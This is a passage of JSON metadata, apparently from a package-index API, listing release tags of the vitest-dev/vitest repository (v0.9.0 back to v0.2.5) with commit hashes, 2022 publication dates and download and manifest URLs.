/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"e27068b5379427a2b7ac5f2cd73feeb88fdf54fa","kind":"tag","published_at":"2022-04-06T19:02:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.9.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.0/manifests"},{"name":"v0.8.5","sha":"60b239cf928215dc55234ad8abcca743e742cd9f","kind":"tag","published_at":"2022-04-06T18:08:55.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.8.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.5/manifests"},{"name":"v0.8.4","sha":"4cc2a294fbf3fbe2dad378da807ef0a1678b6102","kind":"tag","published_at":"2022-04-03T08:31:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.8.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.4/manifests"},{"name":"v0.8.3","sha":"ed8ef9e1d9e923622cccb65c3b990fd2b1bbbf6b","kind":"tag","published_at":"2022-04-02T22:52:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.8.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"978d37c11259506a3e523341a4fc6b10cf331ec7","kind":"tag","published_at":"2022-04-01T16:56:47.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.8.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"531c37ffc9061ee254b6817efeb3e61cd094b6c7","kind":"tag","published_at":"2022-03-30T13:07:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.8.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"44dfd4453785348568f58a627eb5b2dc83645374","kind":"tag","published_at":"2022-03-29T10:27:45.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.8.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.8.0/manifests"},{"name":"v0.7.13","sha":"548053f56d2c9dfa7f9918d5cba60cc48b8ef7e9","kind":"tag","published_at":"2022-03-29T07:19:47.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.13","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.13/manifests"},{"name":"v0.7.12","sha":"722d4ddfba5cfacc2c3e0b7611fa4dedfd8c2595","kind":"tag","published_at":"2022-03-27T09:13:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.12","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"8586ffdf0c1688c05f24a45919430749517c6820","kind":"tag","published_at":"2022-03-25T07:06:22.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.11","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"ff1a4e394776d60c84cf5330b658df8c756ec709","kind":"tag","published_at":"2022-03-23T12:42:10.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.10","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"c0ee28d503f27a2615b7e6550dd41fc8fbcaa9cc","kind":"tag","published_at":"2022-03-23T10:04:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.9","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"18c1565b8f52c11e7cfe1e9abed6da8db465a3a1","kind":"tag","published_at":"2022-03-23T06:08:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"417393c8c9c9e03ee16e03812a021787479f7430","kind":"tag","published_at":"2022-03-21T11:23:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"157ebb99cd70709a3684e7e831cc6f3d2850dd1c","kind":"tag","published_at":"2022-03-19T08:12:03.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"25043185e28b8539e451bfc385a0bcd7fe7a2bea","kind":"tag","published_at":"2022-03-19T08:09:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"5e0000db811c1b957ade8099d87e7d89e5a971af","kind":"tag","published_at":"2022-03-17T19:48:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"e965f7d1fbc162b963708eb7c819ad91fe0de660","kind":"tag","published_at":"2022-03-17T18:57:06.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"91767947002cfdbaddb805a314f98ab1b7447a34","kind":"tag","published_at":"2022-03-17T18:45:50.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"01bdef7ef465a5516ae87206a560f6eeac0395e6","kind":"tag","published_at":"2022-03-17T18:04:58.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f80cc7f1d96c1d70e7a2d4f296244a70ca97d356","kind":"tag","published_at":"2022-03-17T00:05:00.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.7.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.7.0/manifests"},{"name":"v0.6.3","sha":"21dace7da0ab1c0e114d5ca1b8f85545f7d5c0c8","kind":"tag","published_at":"2022-03-16T09:34:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.6.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.3/manifests"},{"name":"v0.6.2","sha":"93c1a7d373229322d3ddf1477574b68e3fd1fa10","kind":"tag","published_at":"2022-03-15T11:35:38.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.6.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"8d2aa174d6c3b7aed4b90d9a39360e3e980986b8","kind":"tag","published_at":"2022-03-13T22:48:30.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.6.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"4214001360147feb39563c33dc931f16de64f3b8","kind":"tag","published_at":"2022-03-07T14:08:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.6.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.6.0/manifests"},{"name":"v0.5.9","sha":"c9918e7e91d6bbbc28e5d952643e628f909eecc5","kind":"tag","published_at":"2022-03-01T05:36:58.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.9","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.9/manifests"},{"name":"v0.5.8","sha":"661aa8127af20e380c38053eb0840f75c9e75a66","kind":"tag","published_at":"2022-02-27T20:26:42.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"96a08df4847019ab0503765dd4ec0594421688ee","kind":"tag","published_at":"2022-02-26T06:49:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"73bb7d0dbc22e0a50465b7d47c40a169a50b95a5","kind":"tag","published_at":"2022-02-26T06:42:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"7c7525dee7e8a67392be29932478d21dcc5b06db","kind":"tag","published_at":"2022-02-24T09:48:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"a1acd4c07a2e9539c32b921944ad0dded29a2b57","kind":"tag","published_at":"2022-02-23T14:33:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"af175305fdaa2296a827facb14f1a9a093b68f9e","kind":"tag","published_at":"2022-02-22T12:35:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"42ccb6804144ab6665594db62204d32b3250bf4c","kind":"tag","published_at":"2022-02-22T12:21:17.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"66cf400e7e6ee77ca4e8788201f25ac4a94f3e40","kind":"tag","published_at":"2022-02-22T05:29:34.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"12b685141d8179d696dd2c08a493e836fbffa2d1","kind":"tag","published_at":"2022-02-21T06:09:36.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.5.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.5.0/manifests"},{"name":"v0.4.3","sha":"5456b5299f30d5024eb5887fcde61475a227fe4e","kind":"tag","published_at":"2022-02-21T05:56:15.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.4.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"1272e4f18a82d3fa35d668f26cdae725939988ad","kind":"tag","published_at":"2022-02-19T11:53:17.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.4.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"d8267ac530321a158c1675fda7348d169c2c2227","kind":"tag","published_at":"2022-02-18T08:37:38.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.4.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"237b48cd34b2afedba4914afe95d8405d91c9474","kind":"tag","published_at":"2022-02-18T03:41:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.4.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.4.0/manifests"},{"name":"v0.3.6","sha":"dadc730cd2f94730e39ebee534309d9d03911b11","kind":"tag","published_at":"2022-02-16T09:58:30.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"fb467962f2dce62ee5886a465a5b70e071f63fae","kind":"tag","published_at":"2022-02-14T06:57:34.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"816a5466c4e689b4b573bfb6d740655e5c0da91c","kind":"tag","published_at":"2022-02-12T08:16:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"cc231ba38e212c33c074839087df276dc4a02219","kind":"tag","published_at":"2022-02-12T07:17:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"735e5074fe333053b0ba53e8860372054e5b6b99","kind":"tag","published_at":"2022-02-10T08:01:28.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"810cf82cb238b31e533331dcbb9d56dfc3cbafe0","kind":"tag","published_at":"2022-02-10T02:52:22.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"1077ac9d2b3e1f788c9bd67a0c5c5f3774fd1e71","kind":"tag","published_at":"2022-02-09T13:48:27.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.3.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.3.0/manifests"},{"name":"v0.2.8","sha":"87b1c037edabca7baa5ae7b6bf9982e1db4448eb","kind":"tag","published_at":"2022-02-08T01:12:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.8/manifests"},{"name":"v0.2.7","sha":"96452b07e76a3456d816b723cdbe7112dbb79c21","kind":"tag","published_at":"2022-02-04T06:16:22.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.7/manifests"},{"name":"v0.2.6","sha":"f1321b761dbbc6940fba885f3c3b2796ea36f2cb","kind":"tag","published_at":"2022-02-03T03:00:28.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.6/manifests"},{"name":"v0.2.5","sha":"4b9a71761b3169ceb11cf17baf25b31e961b45b1","kind":"tag","published_at":"2022-01-27T22:28:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v